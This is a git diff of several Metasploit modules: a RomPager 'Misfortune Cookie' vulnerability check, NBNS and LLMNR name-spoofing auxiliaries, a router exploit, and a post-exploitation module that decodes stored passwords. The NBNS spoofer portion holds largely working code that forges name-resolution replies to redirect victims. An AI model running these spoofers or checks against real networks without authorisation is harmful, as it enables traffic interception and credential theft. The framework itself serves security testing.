# /foo) is then taken and used as the value for a carefully crafted cookie
|
||||
# when making a request to the configured host+port+uri. If the response
|
||||
# is a 404 and the body includes the canary, it is likely that the cookie
|
||||
# overwrote RomPager's concept of the requested URI, indicating that it is
|
||||
# vulnerable.
|
||||
def test_misfortune
|
||||
# find a usable canary URI (one that returns an acceptable status code already)
|
||||
if canary = find_canary
|
||||
canary_value, canary_code = canary
|
||||
vprint_status("#{peer} found canary URI #{canary_value} with code #{canary_code}")
|
||||
else
|
||||
vprint_error("#{peer} Unable to find a suitable canary URI")
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
canary_cookie_name = 'C107373883'
|
||||
canary_cookie = canary_cookie_name + "=#{canary_value};"
|
||||
|
||||
# Make a request containing a specific canary cookie name with the value set
|
||||
# from the suitable canary value found above.
|
||||
res = send_request_raw(
|
||||
'uri' => normalize_uri(target_uri.path.to_s),
|
||||
'method' => 'GET',
|
||||
'headers' => headers.merge('Cookie' => canary_cookie)
|
||||
)
|
||||
|
||||
unless res
|
||||
vprint_error("#{full_uri} no response")
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
unless res.code.to_s =~ @status_codes_regex
|
||||
vprint_status("#{full_uri} unexpected HTTP code #{res.code} response")
|
||||
return check_response_fingerprint(res, Exploit::CheckCode::Detected)
|
||||
end
|
||||
|
||||
unless res.body
|
||||
vprint_status("#{full_uri} HTTP code #{res.code} had no body")
|
||||
return check_response_fingerprint(res, Exploit::CheckCode::Detected)
|
||||
end
|
||||
|
||||
# If that canary *value* shows up in the *body*, then there are two possibilities:
|
||||
#
|
||||
# 1) If the canary cookie *name* is also in the *body*, it is likely that
|
||||
# the endpoint is puppeting back our request to some extent and therefore
|
||||
# it is expected that the canary cookie *value* would also be there.
|
||||
# return Exploit::CheckCode::Detected
|
||||
#
|
||||
# 2) If the canary cookie *name* is *not* in the *body*, return
|
||||
# Exploit::CheckCode::Vulnerable
|
||||
if res.body.include?(canary_value)
|
||||
if res.body.include?(canary_cookie_name)
|
||||
vprint_status("#{full_uri} HTTP code #{res.code} response contained canary cookie name #{canary_cookie_name}")
|
||||
return check_response_fingerprint(res, Exploit::CheckCode::Detected)
|
||||
else
|
||||
vprint_good("#{full_uri} HTTP code #{res.code} response contained canary cookie value #{canary_value} as URI")
|
||||
report_vuln(
|
||||
host: rhost,
|
||||
port: rport,
|
||||
name: name,
|
||||
refs: references
|
||||
)
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
end
|
||||
|
||||
vprint_status("#{full_uri} HTTP code #{res.code} response did not contain canary cookie value #{canary_value} as URI")
|
||||
check_response_fingerprint(res, Exploit::CheckCode::Safe)
|
||||
end
|
||||
end
|
||||
|
|
|
@ -131,11 +131,8 @@ class Metasploit4 < Msf::Auxiliary
|
|||
'emailaddress' => Rex::Text.rand_text_alpha(8) + '@' + Rex::Text.rand_text_alpha(8) + '.com',
|
||||
'userQuestions' => %Q([{"Id":1,"Answer":"#{answers.first}"},{"Id":2,"Answer":"#{answers.last}"}]),
|
||||
'updatequesChk' => 'false',
|
||||
'SelectedQuestion' => 1,
|
||||
'SelectedQuestion' => 2,
|
||||
'answer' => answers.first,
|
||||
'answer' => answers.last,
|
||||
'confirmanswer' => answers.first,
|
||||
'confirmanswer' => answers.last
|
||||
}
|
||||
)
|
||||
|
|
|
@ -103,7 +103,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
if datastore['LISTENER']
|
||||
@listener.kill if @listener
|
||||
GC.start()
|
||||
end
|
||||
|
||||
if capture and @spoofing and not datastore['BROADCAST']
|
||||
|
|
|
@ -139,9 +139,7 @@ attr_accessor :sock, :thread
|
|||
end
|
||||
ip_pkt.recalc
|
||||
|
||||
open_pcap
|
||||
capture_sendto(ip_pkt, rhost.to_s, true)
|
||||
close_pcap
|
||||
end
|
||||
|
||||
def monitor_socket
|
||||
|
@ -176,7 +174,10 @@ attr_accessor :sock, :thread
|
|||
|
||||
def run
|
||||
check_pcaprub_loaded()
|
||||
::Socket.do_not_reverse_lookup = true
|
||||
::Socket.do_not_reverse_lookup = true # Mac OS X workaround
|
||||
|
||||
# Avoid receiving extraneous traffic on our send socket
|
||||
open_pcap({'FILTER' => 'ether host f0:f0:f0:f0:f0:f0'})
|
||||
|
||||
# Multicast Address for LLMNR
|
||||
multicast_addr = ::IPAddr.new("224.0.0.252")
|
||||
|
@ -191,7 +192,9 @@ attr_accessor :sock, :thread
|
|||
self.sock = Rex::Socket.create_udp(
|
||||
# This must be INADDR_ANY to receive multicast packets
|
||||
'LocalHost' => "0.0.0.0",
|
||||
'LocalPort' => 5355)
|
||||
'LocalPort' => 5355,
|
||||
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
|
||||
)
|
||||
self.sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
|
||||
self.sock.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_ADD_MEMBERSHIP, optval)
|
||||
|
||||
|
@ -203,12 +206,14 @@ attr_accessor :sock, :thread
|
|||
|
||||
add_socket(self.sock)
|
||||
|
||||
while thread.alive?
|
||||
select(nil, nil, nil, 0.25)
|
||||
self.thread.join
|
||||
end
|
||||
|
||||
def cleanup
|
||||
if self.thread and self.thread.alive?
|
||||
self.thread.kill
|
||||
self.sock.close rescue nil
|
||||
self.thread = nil
|
||||
end
|
||||
close_pcap
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -9,6 +9,9 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
include Msf::Exploit::Capture
|
||||
|
||||
attr_accessor :sock, :thread
|
||||
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'NetBIOS Name Service Spoofer',
|
||||
|
@ -44,33 +47,29 @@ class Metasploit3 < Msf::Auxiliary
|
|||
])
|
||||
|
||||
register_advanced_options([
|
||||
OptBool.new('Debug', [ false, "Determines whether incoming packet parsing is displayed", false])
|
||||
OptBool.new('DEBUG', [ false, "Determines whether incoming packet parsing is displayed", false])
|
||||
])
|
||||
|
||||
deregister_options('RHOST', 'PCAPFILE', 'SNAPLEN', 'FILTER')
|
||||
self.thread = nil
|
||||
self.sock = nil
|
||||
end
|
||||
|
||||
def run
|
||||
check_pcaprub_loaded() # Check first since otherwise this is all for naught
|
||||
# MacOS X workaround
|
||||
::Socket.do_not_reverse_lookup = true
|
||||
def dispatch_request(packet, rhost, src_port)
|
||||
rhost = ::IPAddr.new(rhost)
|
||||
# `recvfrom` (on Linux at least) will give us an ipv6/ipv4 mapped
|
||||
# addr like "::ffff:192.168.0.1" when the interface we're listening
|
||||
# on has an IPv6 address. Convert it to just the v4 addr
|
||||
if rhost.ipv4_mapped?
|
||||
rhost = rhost.native
|
||||
end
|
||||
|
||||
@sock = ::UDPSocket.new()
|
||||
@sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
|
||||
@sock.bind('', 137) # couldn't specify srv host because it missed broadcasts
|
||||
# Convert to string
|
||||
rhost = rhost.to_s
|
||||
|
||||
@run = true
|
||||
spoof = ::IPAddr.new(datastore['SPOOFIP'])
|
||||
|
||||
print_status("NBNS Spoofer started. Listening for NBNS requests...")
|
||||
|
||||
begin
|
||||
|
||||
while @run # Not exactly thrilled we can never turn this off XXX fix this sometime.
|
||||
packet, addr = @sock.recvfrom(512)
|
||||
src_port = addr[1]
|
||||
rhost = addr[3]
|
||||
|
||||
break if packet.length == 0
|
||||
return if packet.length == 0
|
||||
|
||||
nbnsq_transid = packet[0..1]
|
||||
nbnsq_flags = packet[2..3]
|
||||
|
@ -87,9 +86,9 @@ class Metasploit3 < Msf::Auxiliary
|
|||
nbnsq_type = packet[46..47]
|
||||
nbnsq_class = packet[48..49]
|
||||
|
||||
if (nbnsq_decodedname =~ /#{datastore['REGEX']}/i)
|
||||
return unless nbnsq_decodedname =~ /#{datastore['REGEX']}/i
|
||||
|
||||
vprint_good("#{rhost.ljust 16} nbns - #{nbnsq_decodedname} matches regex, responding with #{datastore["SPOOFIP"]}")
|
||||
vprint_good("#{rhost.ljust 16} nbns - #{nbnsq_decodedname} matches regex, responding with #{spoof}")
|
||||
|
||||
if datastore['DEBUG']
|
||||
print_status("transid: #{nbnsq_transid.unpack('H4')}")
|
||||
|
@ -118,34 +117,72 @@ class Metasploit3 < Msf::Auxiliary
|
|||
nbnsq_class+ # Class = IN
|
||||
"\x00\x04\x93\xe0" + # TTL = a long ass time
|
||||
"\x00\x06" + # Datalength = 6
|
||||
"\x00\x00" + # Flags B-node, unique = whet ever that means
|
||||
datastore['SPOOFIP'].split('.').collect(&:to_i).pack('C*')
|
||||
"\x00\x00" + # Flags B-node, unique = whatever that means
|
||||
spoof.hton
|
||||
|
||||
open_pcap
|
||||
pkt = PacketFu::UDPPacket.new
|
||||
pkt.ip_saddr = Rex::Socket.source_address(rhost)
|
||||
pkt.ip_daddr = rhost
|
||||
pkt.ip_ttl = 255
|
||||
pkt.udp_sport = 137
|
||||
pkt.udp_dport = src_port
|
||||
pkt.payload = response
|
||||
pkt.recalc
|
||||
|
||||
p = PacketFu::UDPPacket.new
|
||||
p.ip_saddr = Rex::Socket.source_address(rhost)
|
||||
p.ip_daddr = rhost
|
||||
p.ip_ttl = 255
|
||||
p.udp_sport = 137
|
||||
p.udp_dport = src_port
|
||||
p.payload = response
|
||||
p.recalc
|
||||
capture_sendto(pkt, rhost)
|
||||
end
|
||||
|
||||
capture_sendto(p, rhost)
|
||||
def monitor_socket
|
||||
while true
|
||||
rds = [self.sock]
|
||||
wds = []
|
||||
eds = [self.sock]
|
||||
|
||||
r,_,_ = ::IO.select(rds,wds,eds,0.25)
|
||||
if (r != nil and r[0] == self.sock)
|
||||
packet, host, port = self.sock.recvfrom(65535)
|
||||
dispatch_request(packet, host, port)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def run
|
||||
check_pcaprub_loaded()
|
||||
::Socket.do_not_reverse_lookup = true # Mac OS X workaround
|
||||
|
||||
# Avoid receiving extraneous traffic on our send socket
|
||||
open_pcap({'FILTER' => 'ether host f0:f0:f0:f0:f0:f0'})
|
||||
|
||||
self.sock = Rex::Socket.create_udp(
|
||||
'LocalHost' => "0.0.0.0",
|
||||
'LocalPort' => 137,
|
||||
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
|
||||
)
|
||||
add_socket(self.sock)
|
||||
self.sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
|
||||
|
||||
self.thread = Rex::ThreadFactory.spawn("NBNSServerMonitor", false) {
|
||||
begin
|
||||
monitor_socket
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Exception
|
||||
print_error("Error: #{$!.class} #{$!} #{$!.backtrace}")
|
||||
end
|
||||
}
|
||||
|
||||
print_status("NBNS Spoofer started. Listening for NBNS requests with REGEX \"#{datastore['REGEX']}\" ...")
|
||||
|
||||
self.thread.join
|
||||
print_status("NBNS Monitor thread exited...")
|
||||
end
|
||||
|
||||
def cleanup
|
||||
if self.thread and self.thread.alive?
|
||||
self.thread.kill
|
||||
self.thread = nil
|
||||
end
|
||||
close_pcap
|
||||
|
||||
else
|
||||
vprint_status("#{rhost.ljust 16} nbns - #{nbnsq_decodedname} did not match regex")
|
||||
end
|
||||
end
|
||||
|
||||
rescue ::Exception => e
|
||||
print_error("nbnspoof: #{e.class} #{e} #{e.backtrace}")
|
||||
# Make sure the socket gets closed on exit
|
||||
ensure
|
||||
@sock.close
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -185,7 +185,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
"wan_hwaddr2" => @wan_hwaddr2_orig,
|
||||
"wan_hwaddr_pc" => @wan_hwaddr_pc_orig,
|
||||
"wan_nat" => @wan_nat_orig,
|
||||
"opendns_parental_ctrl" => @opendns_parental_ctrl_orig,
|
||||
"pppoe_flet_sel" => @pppoe_flet_sel_orig,
|
||||
"pppoe_flet_type" => @pppoe_flet_type_orig,
|
||||
"pppoe_temp" => @pppoe_temp_orig,
|
||||
|
|
|
@ -127,19 +127,18 @@ class Metasploit3 < Msf::Post
|
|||
"n" => "p" , "m" => "q" , "l" => "r" , "k" => "s" , "j" => "t" ,
|
||||
"i" => "u" , "h" => "v" , "P" => "w" , "Q" => "x" , "R" => "y" ,
|
||||
"o" => "z" , "p" => "A" , "q" => "B" , "r" => "C" , "t" => "D" ,
|
||||
"s" => "E" , "L" => "F" , "N" => "G" , "M" => "H" , "O" => "I" ,
|
||||
"N" => "J" , "J" => "K" , "v" => "L" , "u" => "M" , "z" => "N" ,
|
||||
"y" => "O" , "w" => "P" , "x" => "Q" , "G" => "R" , "H" => "S" ,
|
||||
"A" => "T" , "B" => "U" , "D" => "V" , "C" => "W" , "E" => "X" ,
|
||||
"F" => "Y" , "I" => "Z" , "?" => "1" , "3" => "2" , "4" => "3" ,
|
||||
"5" => "4" , "6" => "5" , "7" => "6" , "8" => "7" , "9" => "8" ,
|
||||
"2" => "9" , "." => "0" , "+" => "+" , "\"" => "\"" , "*" => "*" ,
|
||||
"%" => "%" , "&" => "&" , "Z" => "/" , "(" => "(" , ")" => ")" ,
|
||||
"=" => "=" , "," => "?" , "!" => "!" , "$" => "$" , "-" => "-" ,
|
||||
"_" => "_" , "b" => ":" , "0" => "." , ";" => ";" , "1" => "," ,
|
||||
"\\" => "\\" , "a" => "<" , "Y" => ">" , "'" => "'" , "^" => "^" ,
|
||||
"{" => "{" , "}" => "}" , "[" => "[" , "]" => "]" , "~" => "~" ,
|
||||
"`" => "`"
|
||||
"s" => "E" , "L" => "F" , "M" => "H" , "O" => "I" , "N" => "J" ,
|
||||
"J" => "K" , "v" => "L" , "u" => "M" , "z" => "N" , "y" => "O" ,
|
||||
"w" => "P" , "x" => "Q" , "G" => "R" , "H" => "S" , "A" => "T" ,
|
||||
"B" => "U" , "D" => "V" , "C" => "W" , "E" => "X" , "F" => "Y" ,
|
||||
"I" => "Z" , "?" => "1" , "3" => "2" , "4" => "3" , "5" => "4" ,
|
||||
"6" => "5" , "7" => "6" , "8" => "7" , "9" => "8" , "2" => "9" ,
|
||||
"." => "0" , "+" => "+" , "\"" => "\"" , "*" => "*" , "%" => "%" ,
|
||||
"&" => "&" , "Z" => "/" , "(" => "(" , ")" => ")" , "=" => "=" ,
|
||||
"," => "?" , "!" => "!" , "$" => "$" , "-" => "-" , "_" => "_" ,
|
||||
"b" => ":" , "0" => "." , ";" => ";" , "1" => "," , "\\" => "\\" ,
|
||||
"a" => "<" , "Y" => ">" , "'" => "'" , "^" => "^" , "{" => "{" ,
|
||||
"}" => "}" , "[" => "[" , "]" => "]" , "~" => "~" , "`" => "`"
|
||||
}
|
||||
password=''
|
||||
for letter in encrypted_password.chomp.each_char
|
||||
|
|
|
@ -41,7 +41,7 @@ class Metasploit3 < Msf::Post
|
|||
# the correct program files folder.
|
||||
# We will just use an x64 only defined env variable to check.
|
||||
progfiles_env = session.sys.config.getenvs('ProgramFiles(X86)', 'ProgramFiles')
|
||||
progfilesx86 = prog_files_env['ProgramFiles(X86)']
|
||||
progfilesx86 = progfiles_env['ProgramFiles(X86)']
|
||||
if not progfilesx86.empty? and progfilesx86 !~ /%ProgramFiles\(X86\)%/
|
||||
progs = progfilesx86 # x64
|
||||
else
|
||||
|
|
|
@ -61,7 +61,7 @@ File.open('log/untested-payloads.log') { |f|
|
|||
|
||||
$stderr.puts
|
||||
$stderr.puts " context '#{reference_name}' do\n" \
|
||||
" it_should_behave_like 'payload can be instantiated',\n" \
|
||||
" it_should_behave_like 'payload cached size is consistent',\n" \
|
||||
" ancestor_reference_names: ["
|
||||
|
||||
ancestor_reference_names = options[:ancestor_reference_names]
|
||||
|
@ -74,6 +74,7 @@ File.open('log/untested-payloads.log') { |f|
|
|||
end
|
||||
|
||||
$stderr.puts " ],\n" \
|
||||
" dynamic_size: false,\n" \
|
||||
" modules_pathname: modules_pathname,\n" \
|
||||
" reference_name: '#{reference_name}'\n" \
|
||||
" end"
|
||||
|
|
Loading…
Reference in New Issue